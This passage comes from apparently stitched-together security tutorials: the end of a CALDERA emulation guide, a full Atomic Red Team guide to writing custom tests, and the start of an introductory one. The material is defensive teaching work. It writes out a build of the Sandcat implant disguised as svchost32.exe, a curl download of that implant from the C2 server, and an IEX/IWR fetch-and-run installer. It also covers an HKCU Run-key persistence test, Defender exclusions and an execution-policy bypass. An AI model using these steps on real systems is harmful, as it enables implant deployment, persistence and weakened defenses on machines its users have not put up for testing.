If you want a custom implant name rather than the dynamic build, compile Sandcat directly on the server:

cd plugins/sandcat/gocat
GOOS=windows go build -o ../payloads/svchost32.exe \
  -ldflags="-s -w" sandcat.go
# Then from the target:
# curl -H "file:svchost32.exe" http://<SERVER>:8888/file/download > svchost32.exe

9. Common Emulated Techniques and Framework Footprint

Two things generate telemetry: the abilities you choose, and CALDERA’s own plumbing. The default first operation exercises this cluster.

TechniqueDescription
Process DiscoveryGet-Process / ps -ef enumeration via psh and sh executors
File and Directory Discovery“Find sensitive files” ability crawling the filesystem
Local Account DiscoveryGet-LocalUser enumeration
System Network Configuration DiscoveryIP config / WiFi scan abilities
C2 BeaconingSandcat HTTP/DNS check-ins on the jitter interval
Defense Evasion (log clearing)Default bootstrap ability 43b3754c-... clears and avoids logs on arrival
Peer-to-peer Proxyproxy_http gocat extension relaying through a peer via a named pipe

The framework footprint is as important as the TTPs. Every psh command is a PowerShell child of the agent binary. Every beacon is an outbound HTTP connection to port 8888 from a process that has no business talking to the network. Every deployment drops a file to disk. Those three patterns are your detection anchors.


10. Detection and Defense: What CALDERA Leaves Behind

Detection depends on the abilities run, but the framework’s shape is consistent. Point Sysmon at it.

Sysmon Event IDWhat It Catches
1 Process CreateAgent binary (splunkd.exe, svchost32.exe) spawning; PowerShell/cmd executor children
3 Network ConnectionHTTP beacon to the C2 (port 8888); outbound from a non-browser process
7 Image LoadDLLs loaded by the psh executor (WMI, AMSI)
10 Process AccessCross-process reads if credential abilities run
11 File CreatePayload drop (C:\Users\Public\splunkd.exe); staging directory writes
17 / 18 Pipe Create/Connectproxy_http P2P named pipe
22 DNS QueryAgent resolving the C2 host under the DNS contact

A behavior-first Sigma rule for the Sandcat launch, keyed on the command-line flags rather than a hash, since dynamic recompilation defeats hashes:

title: Sandcat Agent Launch via CALDERA C2 Flags
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith:
      - '\splunkd.exe'
      - '\svchost32.exe'
    CommandLine|contains:
      - '-server http'
      - '-group '
  condition: selection
level: high

Pair it with a network rule so you catch beacons even when the binary name changes:

title: Outbound HTTP Beacon to CALDERA Default Port
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    DestinationPort: 8888
    Initiated: 'true'
  filter:
    Image|endswith: '\server.py'
  condition: selection and not filter
level: medium

Layer in these controls:

  • PowerShell ScriptBlock logging. Set HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1. This records every psh executor payload verbatim as Event ID 4104 in Microsoft-Windows-PowerShell/Operational.
  • AMSI. Enabled by default in PowerShell 5+. Stock Sandcat and many Stockpile abilities are known to AV, so against a mature SOC they trip immediately. Treat that as a passing test, not a failure.
  • Command-line auditing. Windows Security Event 4688 with command line captures agent spawn and executor children; 4663 catches file access on audited sensitive directories.
  • Behavioral, not hash-based, EDR rules. Dynamic recompilation gives every deployment a new hash. Detect the parent-child chain and the beacon cadence instead.
  • Segmentation. Keep the server off the internet; the web interface is only basic auth and not hardened.
  • Coverage overlay. Push the JSON operation report and the Compass layer.json into your SIEM/Navigator and diff executed techniques against detection-rule coverage. That diff is your blind-spot list.

Illustration of a luminous footprint made of process tree, network beacon, and file drop symbolic layers representing the framework telemetry left by a CALDERA operation
Every CALDERA operation leaves a consistent forensic shape: a spawned agent binary, PowerShell executor children, outbound HTTP beacons, and payload drops that Sysmon and ScriptBlock logging reliably surface.

11. Tools for CALDERA Emulation and Analysis

ToolDescriptionLink
CALDERAThe C2 server and plugin ecosystemgithub.com/mitre/caldera
Sandcat / Stockpile / Compass / DebriefDefault agent, 200+ abilities, Navigator export, post-op reportinggithub.com/mitre
Training pluginCTF-style guided course through the frameworkgithub.com/mitre/training
Mock pluginSimulated agents for full operations without real endpointsgithub.com/mitre/mock
Response pluginFlips CALDERA into automated incident responsegithub.com/mitre/response
SysmonProcess, network, file, pipe, and DNS telemetrylearn.microsoft.com
ATT&CK NavigatorRenders Compass layer.json coverage heatmapsmitre-attack.github.io
Atomic Red Team pluginMaps Atomic tests as CALDERA abilitiesgithub.com/mitre/atomic

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process DiscoveryT1057Sysmon 1 (PowerShell/ps children); ScriptBlock 4104
File and Directory DiscoveryT10834663 on audited paths; 4104 script content
Account Discovery: Local AccountT1087.0014104 for Get-LocalUser; Sysmon 1 command line
System Network Config DiscoveryT1016Sysmon 1 for ipconfig / netsh children
Command and Scripting Interpreter: PowerShellT1059.0014104 ScriptBlock; AMSI submissions
Application Layer Protocol: Web C2T1071.001Sysmon 3 beacon to port 8888
Indicator Removal: Clear LogsT1070Default bootstrap ability; Security log 1102

Summary

  • CALDERA is an ATT&CK-native adversary-emulation platform: a two-component system of a core aiohttp C2 server plus plugins that supply agents, abilities, adversaries, and planners.
  • Agents (Sandcat, Manx, Ragdoll) beacon through contacts; Sandcat’s dynamic Go recompilation defeats hash-based signatures, so defenders must detect behavior.
  • Abilities are YAML technique implementations whose parsers turn command output into facts, and those facts autonomously unlock the next ability in the chain.
  • Adversary profiles order abilities via atomic_ordering, and the planner decides execution flow; operations produce a JSON report and a Compass Navigator layer for gap analysis.
  • Detect the framework’s footprint with Sysmon 1/3/11, PowerShell ScriptBlock logging (4104), and behavior-based Sigma rules, then overlay the operation report against your coverage to find blind spots.

Related Tutorials

Atomic Red Team Deep Dive: Writing Custom Atomics and Contributing to the Library

Your purple-team retro just ended. Someone projected the ATT&CK Navigator layer, pointed at a half-empty column under Persistence, and asked the question that always lands awkwardly: do we actually detect this? Nobody’s sure. The closest thing to a test was a Cobalt Strike run six months ago that nobody bothered to map. That gap is exactly what Atomic Red Team is built to close – a focused, scriptable, ATT&CK-mapped procedure you can fire on demand, watch your sensors react to, and re-run after every rule change. The catch is that the upstream library, large as it is (over 1,070 procedures across 12 of the 14 ATT&CK tactics), will never cover your environment’s exact gap. You have to write atomics.

This walkthrough takes you end to end: schema, lab, a working custom atomic for T1547.001 (Registry Run Keys), the detection rule that catches it, and the pull request that gets it merged upstream.


1. Why Atomics Beat “Run This Tool” Demos

Three rules separate a good atomic from a bad one, and they’re the same three rules the maintainers enforce at review:

  • One technique, one self-contained test. No multi-stage chains. If you want a chain, you write three atomics and orchestrate them with Invoke-AtomicTest calls.
  • Fully automated where the technique permits it. A manual executor is allowed (and sometimes the only honest option), but the framework rewards atomics that run, prove themselves, and clean up without a human in the loop.
  • Cleanup is part of the contract. If your test plants a Run key, it must remove that Run key. The framework explicitly requires that cleanup be idempotent – students who skip this find their first PR review comment is “please pipe 2>nul on that reg delete.”

The reward for following the rules: every atomic is replayable. Run it Monday to validate a rule; run it Friday after the EDR update; run it during a tabletop. That’s the actual product – not the YAML, the repeatability.


2. Anatomy of the YAML Schema

The schema lives at redcanaryco/atomic-red-team/wiki/YAML-Schema and is validated by atomic_red_team.rb. Memorize these top-level keys; everything else is window dressing.

YAML KeyTypePurpose
attack_techniquestringATT&CK ID, e.g. T1547.001. Top-level, required.
display_namestringHuman-readable name as defined by ATT&CK.
atomic_testsarrayArray of individual test objects.
atomic_tests[n].namestringShort name of this specific test.
atomic_tests[n].descriptionstringWhat the test does and why.
atomic_tests[n].auto_generated_guidstring (UUIDv4)Unique test ID. Do not add it yourself – GitHub Actions injects it on PR.
atomic_tests[n].supported_platformsarray (enum)windows, macos, linux, office-365, azure-ad, google-workspace, saas, iaas, containers, iaas:gcp, iaas:azure, iaas:aws
atomic_tests[n].input_argumentsobjectNamed parameters; each has description, type, default.
atomic_tests[n].executorobjectHow the test runs.
atomic_tests[n].dependenciesarrayPre-requisite checks (nullable).
atomic_tests[n].dependency_executor_namestringExecutor for prereq commands; defaults to the test executor.

There are exactly five valid executor names. Get them wrong and validation fails immediately:

Executor nameMaps ToUse For
command_promptCommandExecutorcmd.exe one-liners, reg.exe, classic native Windows tools
powershellCommandExecutorPowerShell cmdlets, .NET calls, anything pwsh.exe can run
bashCommandExecutorLinux/macOS shell
shCommandExecutorPOSIX shell
manualManualExecutorSteps that genuinely cannot be automated; uses a free-form steps: string instead of command:

For a CommandExecutor, the object also carries command, cleanup_command, and elevation_required (a bool). Arguments interpolate into commands with #{argument_name} – that exact syntax, no Python-style braces, no PowerShell $().

The Markdown file beside every YAML (T1547.001.md) is auto-generated on every commit from the YAML plus ATT&CK CTI metadata. Hand-editing it is a wasted commit; the next CI run overwrites you.


Hierarchy diagram showing the Atomic Red Team YAML schema structure from the top-level technique file down to executor, input arguments, and dependency sub-keys
Every atomic file has one technique ID at the root and an array of test objects, each requiring an executor block, supported platforms, and optional input arguments.

3. Lab Setup

Atomics are designed to behave like malware. The folder gets flagged by AV constantly, and that is by design. Two ground rules before you touch a keyboard:

It is recommended to set up a test machine for atomic test execution that is similar to the build in your environment. Never run atomics on production systems. The atomics folder contains many files likely to trigger AV alerts on the endpoint – the install directory should be allowlisted so files are not quarantined or removed.

My lab for this tutorial: a snapshotted Windows 11 VM on an isolated vSwitch, Sysmon installed with the SwiftOnSecurity config (Olaf Hartong’s sysmon-modular is the other respectable choice), and Wazuh forwarding to a SIEM VM on the same isolated segment. No production AD, no internet routing.

Install the framework from the PowerShell Gallery:

# Run as the user who will execute tests (not necessarily Administrator)
Install-Module -Name invoke-atomicredteam, powershell-yaml -Scope CurrentUser -Force

# Clone the atomics into a known path
git clone https://github.com/redcanaryco/atomic-red-team.git C:\AtomicRedTeam

# Pin a default atomics path so you never have to type -PathToAtomicsFolder again
$PSDefaultParameterValues = @{
  "Invoke-AtomicTest:PathToAtomicsFolder" = "C:\AtomicRedTeam\atomics"
}

# Verify
Import-Module Invoke-AtomicRedTeam
Invoke-AtomicTest T1547.001 -ShowDetails | Select-Object -First 20

Add C:\AtomicRedTeam to Defender exclusions before doing anything else. The first time I skipped that step, Defender quarantined three payloads mid-run and the framework just returned cryptic file-not-found errors. Twenty minutes wasted before I checked the Defender history.


4. Writing the Atomic by Hand (T1547.001 – HKCU Run Key)

The chosen technique is T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder. It’s commonly exercised, has clear Sysmon coverage, and leaves no destructive side effects in the lab. The existing YAML at atomics/T1547.001/T1547.001.yaml already has tests; we’ll add a new one for an HKCU (per-user) Run key, which is less covered than the HKLM variants.

Open the file. Find the end of the existing atomic_tests: array. Append a new list item:

  - name: Add HKCU Run Key for Persistence (GenXCyber Lab)
    description: |
      Adds a registry value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run
      to simulate adversary persistence via a user-level Run key. The payload is a
      harmless echo command that writes a marker file to disk on next logon.
    supported_platforms:
      - windows
    input_arguments:
      reg_key_name:
        description: Name of the registry value to create
        type: String
        default: GenXCyberPersist
      payload_command:
        description: Command to place in the Run key value
        type: String
        default: 'cmd.exe /c echo GenXCyber-Atomic-Test >> C:\Temp\art_persist.txt'
    executor:
      name: command_prompt
      elevation_required: false
      command: |
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "#{reg_key_name}" /t REG_SZ /d "#{payload_command}" /f
      cleanup_command: |
        reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "#{reg_key_name}" /f 2>nul

A few things that will bite you if you’re new to this:

  • No auto_generated_guid. The maintainers’ GitHub Action injects it on PR. Adding one by hand triggers a validation error.
  • 2>nul on the cleanup. Required. Run cleanup twice in a row – second run should exit cleanly, not error. In PowerShell executors you’d use -ErrorAction Ignore instead.
  • Indentation is two spaces, list items use -. YAML will accept tabs in some parsers and reject them in others; the Ruby validator is strict. If you see a parse error and your file “looks fine,” paste it into a YAML linter before anything else. I lost an hour once to a single trailing space after a | block scalar marker.
  • elevation_required: false is honest here – HKCU writes don’t need admin. Lying about elevation means the test fails when launched from a normal shell, and reviewers will catch it.

Validate offline before doing anything else:

# From the atomic-red-team repo root (requires Ruby + bundler)
ruby bin/validate-atomics.rb atomics/T1547.001/T1547.001.yaml

If it prints nothing, you’re good. If it complains, fix and re-run until silent.


5. The PowerShell Alternative: New-Atomic* Functions

If raw YAML annoys you, Invoke-AtomicRedTeam ships builder cmdlets that produce a PowerShell object you pipe straight to ConvertTo-Yaml. The output is schema-correct by construction, which is the real selling point – you cannot misspell supported_platforms because the parameter is -SupportedPlatforms.

# Build the executor
$executor = New-AtomicTestExecutor -ExecutorType command_prompt `
  -Command 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "#{reg_key_name}" /t REG_SZ /d "#{payload_command}" /f' `
  -CleanupCommand 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "#{reg_key_name}" /f 2>nul' `
  -ElevationRequired $false

# Build input arguments (hashtable of name -> InputArgument object)
$inputArgs = @{
  reg_key_name    = New-AtomicTestInputArgument -Description 'Registry value name' `
                       -InputType String -Default 'GenXCyberPersist'
  payload_command = New-AtomicTestInputArgument -Description 'Command stored in Run key' `
                       -InputType String -Default 'cmd.exe /c echo GenXCyber-Atomic-Test >> C:\Temp\art_persist.txt'
}

# Build the test
$atomicTest = New-AtomicTest -Name 'Add HKCU Run Key for Persistence (GenXCyber Lab)' `
  -Description 'Simulates HKCU Run key persistence with a harmless payload.' `
  -SupportedPlatforms @('windows') `
  -InputArguments $inputArgs `
  -Executor $executor

# Emit YAML
New-AtomicTechnique -AttackTechnique T1547.001 `
  -DisplayName 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder' `
  -AtomicTests @($atomicTest) | ConvertTo-Yaml | Out-File T1547.001.draft.yaml -Encoding utf8

When to use this path: you’re authoring a batch of tests programmatically (e.g., generating one atomic per LOLBAS binary). When to stick with hand-YAML: a single test where you want full control over comments and block-scalar formatting. Both round-trip the same schema, so reviewer-side it makes no difference.


6. Dependencies and the ExternalPayloads Folder

Most lab atomics need nothing. The interesting ones (Mimikatz, BloodHound collectors, custom binaries) need dependencies. The schema gives you three sub-keys per dependency:

Sub-KeyPurpose
descriptionPlain-English statement of the prereq
prereq_commandReturns exit code 0 if the prereq is satisfied (a check)
get_prereq_commandInstalls / fetches the prereq

Two contribution rules you cannot skip:

  1. Do not commit binaries that have their own GitHub repos. Reference them by permanent commit-SHA URLs so the payload can’t shift under you.
  2. External payloads download into the ExternalPayloads folder, a sibling of atomics/. Code your prereq_command to check for the file there.

A representative dependency block:

    dependency_executor_name: powershell
    dependencies:
      - description: |
          The payload file must exist on disk at #{payload_path}.
        prereq_command: |
          if (Test-Path "#{payload_path}") { exit 0 } else { exit 1 }
        get_prereq_command: |
          New-Item -ItemType Directory -Force -Path (Split-Path "#{payload_path}") | Out-Null
          Invoke-WebRequest -Uri "https://raw.githubusercontent.com/<org>/<repo>/<sha>/payload.ps1" `
                            -OutFile "#{payload_path}" -UseBasicParsing

The workflow on the runner side:

Invoke-AtomicTest T1547.001 -TestNames "Add HKCU Run Key for Persistence (GenXCyber Lab)" -CheckPrereqs
Invoke-AtomicTest T1547.001 -TestNames "Add HKCU Run Key for Persistence (GenXCyber Lab)" -GetPrereqs

For our HKCU test there are no dependencies – reg.exe ships with Windows. Show your maturity by including a dependencies: block when one is actually needed, and leaving it off when it isn’t. Don’t pad atomics with no-op dependency stubs; reviewers strip them.


7. Executing the Test and Capturing Telemetry

Now run it. The framework’s three-step rhythm – show, execute, clean – is muscle memory after a week:

# 1. Dry-run: confirm the framework parsed your YAML and shows the expected command
Invoke-AtomicTest T1547.001 -ShowDetails | Select-String -Pattern "GenXCyber" -Context 0,8

# 2. Identify the test number for the new atomic
Invoke-AtomicTest T1547.001 -ShowDetailsBrief

# 3. Execute (assume your test came out as -TestNumbers 12; adjust to your output)
Invoke-AtomicTest T1547.001 -TestNumbers 12

# 4. Verify the artifact is on disk
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name GenXCyberPersist

# 5. Clean up — this must run silently
Invoke-AtomicTest T1547.001 -TestNumbers 12 -Cleanup

# 6. Run cleanup again. It must still exit cleanly. If it errors, your `2>nul` is missing.
Invoke-AtomicTest T1547.001 -TestNumbers 12 -Cleanup

By default the framework drops an Invoke-AtomicTest-ExecutionLog.csv in $env:TEMP containing test name, number, execution time, user, and hostname. That CSV is useful for spreadsheet review but light on detail. For full command input and output capture, switch on the Attire logger; for SIEM-visible execution events, use the Windows Event Log logger:

# Attire logger — captures stdout/stderr per test
$PSDefaultParameterValues["Invoke-AtomicTest:LoggingModule"]   = "Attire-ExecutionLogger"
$PSDefaultParameterValues["Invoke-AtomicTest:ExecutionLogPath"] = "C:\AtomicRedTeam\logs\attire.json"

# Or: write directly to Windows Event Log so your SIEM picks it up
$PSDefaultParameterValues["Invoke-AtomicTest:LoggingModule"] = "WinEvent-ExecutionLogger"

Invoke-AtomicTest T1547.001 -TestNumbers 12

The framework only logs execution runs – -ShowDetails, -CheckPrereqs, -GetPrereqs, and -Cleanup are deliberately not logged. That distinction matters when you’re correlating SIEM alerts with the CSV, and it’s the kind of footnote that bites you during a purple-team debrief if you don’t already know it.


Flow diagram showing Invoke-AtomicTest spawning cmd.exe to write a Run key, Sysmon capturing Event ID 13, the event forwarding to a SIEM, and cleanup running twice to remove the artifact
The atomic execution lifecycle runs the command, generates Sysmon EID 13 telemetry, forwards it to the SIEM, then idempotently cleans up the planted registry key.

8. The Detection Feedback Loop: Sysmon and Sigma

This is the part most authors skip and where the actual value is. A custom atomic without a paired detection rule is half the deliverable.

Trigger the test, then mine Sysmon. The relevant event is Event ID 13 (Registry value set):

Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 200 |
  Where-Object { $_.Id -eq 13 -and $_.Message -match 'CurrentVersion\\Run' } |
  Select-Object TimeCreated, @{n='Target';e={ ($_.Message -split "`n" | Select-String 'TargetObject').Line }},
                              @{n='Details';e={ ($_.Message -split "`n" | Select-String 'Details').Line }} |
  Format-List

You should see TargetObject matching \REGISTRY\USER\<SID>\Software\Microsoft\Windows\CurrentVersion\Run\GenXCyberPersist and Details containing the cmd.exe /c echo ... payload. That telemetry is the ground truth – every detection rule you write is a query against fields you can literally see here.

Pair it with a Sigma rule:

title: Suspicious HKCU Run Key Value Set
id: 1e6c4f7a-9c40-4b29-8c2d-c4f6a51a7c92
status: experimental
description: Detects registry value creation under HKCU Run keys, indicative of user-level persistence
references:
  - https://attack.mitre.org/techniques/T1547/001/
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 13
    TargetObject|contains:
      - '\Software\Microsoft\Windows\CurrentVersion\Run\'
      - '\Software\Microsoft\Windows\CurrentVersion\RunOnce\'
  filter_legitimate:
    Image|endswith:
      - '\msiexec.exe'
      - '\setup.exe'
  condition: selection and not filter_legitimate
falsepositives:
  - Software installation
  - Group Policy application
level: medium

Convert it to your SIEM’s query language with pysigma and the appropriate backend (pysigma-backend-splunk, pysigma-backend-elasticsearch, etc.), deploy, then re-run the atomic. If your SIEM doesn’t fire, the rule is wrong, the ingestion is wrong, or the parser is dropping TargetObject. The atomic exists precisely to differentiate those three failure modes – that’s the feedback loop.

A note that experience teaches: the filter_legitimate block above will swallow msiexec.exe writes, which is usually what you want, but adversaries do abuse msiexec for execution. Build your allowlist iteratively against your environment’s actual baseline, not against an assumed one.


9. Contributing Upstream: Fork → PR

Once the atomic runs cleanly and your detection rule fires, you can submit it. The workflow is standard fork-and-PR with a few project-specific rules:

# Fork redcanaryco/atomic-red-team on GitHub, then:
git clone https://github.com/<yourfork>/atomic-red-team.git
cd atomic-red-team
git remote add upstream https://github.com/redcanaryco/atomic-red-team.git
git fetch upstream
git checkout -b feat/T1547.001-hkcu-run-key upstream/master

# Edit atomics/T1547.001/T1547.001.yaml (append your new test block)
# Validate locally one more time
ruby bin/validate-atomics.rb atomics/T1547.001/T1547.001.yaml

git add atomics/T1547.001/T1547.001.yaml
git commit -m "feat(T1547.001): add HKCU Run key persistence atomic"
git push origin feat/T1547.001-hkcu-run-key

# Open the PR against redcanaryco/atomic-red-team:master via GitHub UI

What happens after you hit “Create Pull Request”:

  • GitHub Actions validates the YAML against the same schema your local Ruby script ran.
  • The Action injects your auto_generated_guid as a new commit on the PR. Do not preempt it.
  • The Action regenerates T1547.001.md from the YAML plus ATT&CK CTI. Do not stage .md changes.
  • The Action updates atomics/Indexes/ with the new test entry. Do not edit indexes by hand.

Common reviewer asks:

  • Cleanup runs twice without error (verify with -Cleanup twice locally before you push).
  • description actually explains both what and why.
  • No hard-coded paths under C:\Users\<yourname>\.... Parametrize via input_arguments.
  • Permanent SHA-pinned URLs for any external payloads referenced in get_prereq_command.
  • No deletion of dependencies in cleanup commands.

A weekend of patient revision is normal. The maintainers are responsive but exacting; treat the PR conversation as detection-engineering peer review, because that’s what it is.


Flow diagram of the Atomic Red Team contribution process from forking the repository through local validation, pull request creation, automated CI checks including GUID injection and Markdown regeneration, and final reviewer merge
Contributors only need to supply clean YAML; GitHub Actions automatically injects the GUID, regenerates the Markdown, and updates the atomics index on merge.

10. Defensive Strategies & Detection

The atomic itself is the test. The detection stack around it is what you’re actually validating.

Sysmon Event IDWhat to Look For
1 – Process Createreg.exe spawned by cmd.exe/powershell.exe under a user context; CommandLine contains CurrentVersion\Run
12 – Registry Object Added/DeletedKey add/delete under Run/RunOnce paths
13 – Registry Value SetTargetObject matches \Software\Microsoft\Windows\CurrentVersion\Run\*; Details carries the persisted command

ETW providers that complement Sysmon:

  • Microsoft-Windows-Registry – kernel-level registry monitoring; useful when Sysmon is tampered with.
  • Microsoft-Windows-Security-Auditing – enable Audit Registry under Object Access for native event log coverage. Modifications surface as Event ID 4657 (A registry value was modified).

Audit policy commands:

AuditPol /set /subcategory:"Registry"         /success:enable /failure:enable
AuditPol /set /subcategory:"Process Creation" /success:enable

Hardening:

  • AppLocker or WDAC rules that block unauthorized use of reg.exe from interactive user sessions.
  • EDR continuous monitoring of Run key contents; corroborate with scheduled Get-ItemProperty audits against HKCU:\...\Run and HKLM:\...\Run.
  • Allowlist C:\AtomicRedTeam\ in Defender on the test VM and never replicate that exclusion onto production endpoints. Reviewers see exclusion creep in real engagements all the time.

11. Tools for Atomic Authoring and Analysis

ToolUseLink
Invoke-AtomicRedTeamPowerShell execution framework; New-Atomic* buildersgithub.com/redcanaryco/invoke-atomicredteam
atomic-red-team repoTests library + bin/validate-atomics.rb schema validatorgithub.com/redcanaryco/atomic-red-team
Sysmon + SwiftOnSecurity configEndpoint telemetry for validating detectionsgithub.com/SwiftOnSecurity/sysmon-config
sysmon-modular (Olaf Hartong)Modular Sysmon configs mapped to ATT&CKgithub.com/olafhartong/sysmon-modular
ATT&CK NavigatorGap analysis against existing coveragemitre-attack.github.io/attack-navigator
pysigma + backendsConvert Sigma rules to SIEM queriesgithub.com/SigmaHQ/pySigma
Process MonitorTrace reg.exe calls during atomic developmentlearn.microsoft.com/sysinternals
Wazuh / Splunk / ElasticSIEM for the validation loopwazuh.com / splunk.com / elastic.co

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderT1547.001Sysmon EID 13 on Run/RunOnce paths; Windows EID 4657
Command and Scripting Interpreter: Windows Command ShellT1059.003Sysmon EID 1 on cmd.exe with /c; the command_prompt executor in this atomic
Command and Scripting Interpreter: PowerShellT1059.001Sysmon EID 1 + Script Block Logging (EID 4104); Invoke-AtomicRedTeam itself uses PowerShell
Impair Defenses: Disable or Modify ToolsT1562.001AV exclusion of the AtomicRedTeam folder; alert on Defender exclusion policy changes
Hide Artifacts: NTFS Alternate Data StreamsT1564.003Referenced as an example of atomics that ship payloads under src/ and bin/

Summary

  • A good atomic is one technique, one self-contained test, fully automated, with idempotent cleanup. That contract is what makes the library replayable, and replayability is the product.
  • The YAML schema is small and strict. Learn the five executor names, the #{arg} interpolation syntax, and the auto_generated_guid rule (never set by hand) and most validation errors disappear.
  • Invoke-AtomicRedTeam and the New-Atomic* cmdlets let you skip raw YAML entirely. Use them when generating tests programmatically; stick with hand-YAML for one-offs.
  • An atomic without a paired detection rule is half the deliverable. Sysmon EID 13 plus a Sigma rule for Run-key writes is the minimum viable feedback loop for T1547.001.
  • Contributions go upstream via fork → PR. GitHub Actions handles GUID generation, Markdown regeneration, and indexing – your only job is a clean YAML and a clean cleanup.

Related Tutorials

References

Introduction to Atomic Red Team: Installation, Structure, and Running Your First Atomic Test

Most detection content ships on faith. Someone writes a Sigma rule for base64-encoded PowerShell, it clears review, it lands in the SIEM – and then nobody ever fires the technique at it to confirm the alert actually triggers. The gap between “the rule exists” and “the rule works” is where breaches live.

Atomic Red Team (ART) closes it. It’s a library of small, single-technique tests mapped to MITRE ATT&CK, plus a PowerShell harness that runs them on demand. You execute one technique, watch your telemetry, confirm the alert – or discover its absence – and tune. For a detection engineer it’s the highest-leverage tool on the shelf: cheap to run, fast to iterate, honest about coverage.

This walkthrough takes you from an empty Windows lab VM to a clean install, through how the project is laid out on disk, to a full run of your first atomic – execute, observe, clean up – with blue-team validation wired into every step.


1. What Atomic Red Team Is and Why Blue Teams Use It

Adversary emulation and red teaming both exercise your defenses, but they aren’t the same job. A red team operates like an opponent – open-ended objectives, stealth, whatever path works. Emulation is narrower and repeatable: you reproduce specific, documented attacker behaviors, usually pinned to ATT&CK, to measure whether your controls see them. ART lives firmly on the emulation side, at the most granular end of it.

Compare it to Caldera, which chains techniques into autonomous full-attack operations. ART does the opposite on purpose – each test is atomic: one technique, few dependencies, run and done. That granularity is the whole value. When an alert fails to fire, you know exactly which technique slipped past, because you only ran one.

The project ships as two independent GitHub repositories that install separately by default.

RepositoryRole
invoke-atomicredteamThe execution framework – a PowerShell module that runs tests defined in the atomics library
atomic-red-teamThe atomics library – focused, low-dependency tests in a structured YAML format consumed by automation frameworks

You install the framework first, then the atomics. There’s a deliberate reason they’re decoupled, and it has to do with antivirus – covered in §4.


Hierarchy diagram showing Atomic Red Team split into invoke-atomicredteam execution framework and atomic-red-team atomics library, with their respective dependencies and ATT&CK mapping
ART ships as two deliberately decoupled repositories – the execution harness and the atomics library – installed separately to manage antivirus exposure.

2. Lab Environment and Safety Requirements

Read this before the install command. Many atomics perform genuinely malicious actions – dumping LSASS, writing Run keys, spawning encoded shells. These are real TTPs, executed for real. Run them only on an isolated VM you can roll back. Never on production, never on a domain you care about.

RequirementWhy
Isolated Windows 10/11 VM (Hyper-V, VMware, or VirtualBox)A disposable target you can snapshot before each run and roll back after
Sysmon deployed (SwiftOnSecurity or Olaf Hartong config)Primary telemetry layer for validating ART behavior
Winlogbeat / NXLog forwarding to Splunk / ELK / Wazuh (or Event Viewer for intro-level work)A place to actually observe the telemetry your tests generate
AV / Defender exclusion for C:\AtomicRedTeam\ on the lab VM onlyThe atomics folder contains many files that trigger AV; exclusion prevents quarantine
No internet-facing exposure; no domain production systemsMany tests perform real malicious actions and must be contained

Snapshot the VM before each test run, and run -Cleanup after every test. Confirm your collection/EDR is in place and the endpoint is checking in before you fire anything – the point is to validate detection, not just to execute.


3. Installing the Execution Framework (invoke-atomicredteam)

There are two install paths. The PowerShell Gallery route is cleanest; the direct-install one-liner is handy when you also want the atomics in a single step.

Option A – PowerShell Gallery (run PowerShell as Administrator):

Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser -Force

This pulls the execution framework and the powershell-yaml dependency, which parses the YAML test definitions. The framework cannot read tests without it.

Option B – Direct install (framework + atomics in one shot):

IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics -Force

If you import the module and hit an error saying it “cannot be loaded because running scripts is disabled on this system,” your execution policy is blocking it. Restart with powershell -exec bypass or otherwise relax the policy on the lab VM.

Configure the session (add this to your PowerShell profile for persistence):

Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
$PSDefaultParameterValues = @{
    "Invoke-AtomicTest:PathToAtomicsFolder" = "C:\AtomicRedTeam\atomics"
}

Setting $PSDefaultParameterValues means you never have to pass -PathToAtomicsFolder on every call.


4. Installing the Atomics Folder

Installing the framework does not download the atomics by default. That decoupling is intentional: the atomics folder contains many files likely to trigger AV alerts on the endpoint, so Red Canary leaves it as a separate, deliberate step.

If you didn’t use the -getAtomics flag in Option B, pull the atomics on their own:

Install-AtomicsFolder

The recommended approach is to whitelist the install directory – C:\AtomicRedTeam\ by default – so files aren’t quarantined or removed.

Once installed, the C:\AtomicRedTeam folder contains three folders: atomics, ExternalPayloads, and invoke-atomicredteam.

C:\AtomicRedTeam\
├── atomics\
│   ├── T1059.001\
│   │   ├── T1059.001.yaml      ← machine-readable test definitions
│   │   ├── T1059.001.md        ← human-readable mirror
│   │   ├── src\                ← human-readable payloads
│   │   └── bin\                ← compiled/binary payloads
│   ├── Indexes\                ← index.yaml, CSV, Navigator layers
│   └── used_guids.txt
├── invoke-atomicredteam\
│   └── Invoke-AtomicRedTeam.psd1
└── ExternalPayloads\           ← prereq downloads land here

The layout is rigidly predictable: one directory per ATT&CK technique named T1234, with all atomic tests for that technique in a T1234.yaml file inside it, alongside any payloads and supporting material. External dependencies fetched via the prereq_commands YAML key land in the ExternalPayloads directory.


5. Anatomy of an Atomic Test (YAML Deep-Dive)

Open C:\AtomicRedTeam\atomics\T1059.001\T1059.001.yaml. Every atomic test is defined in a structured YAML format that includes everything needed to understand and execute it.

The top-level keys:

YAML FieldPurpose
attack_techniqueThe MITRE ATT&CK technique ID (e.g., T1059.001)
display_nameHuman-readable name of the technique
atomic_testsAn array of individual test implementations

Each element of atomic_tests contains:

YAML FieldPurpose
nameHuman-readable test name
auto_generated_guidUnique UUID per test (auto-generated by GitHub Actions on PR merge)
descriptionWhat the test simulates
supported_platformsList: windows, linux, macos
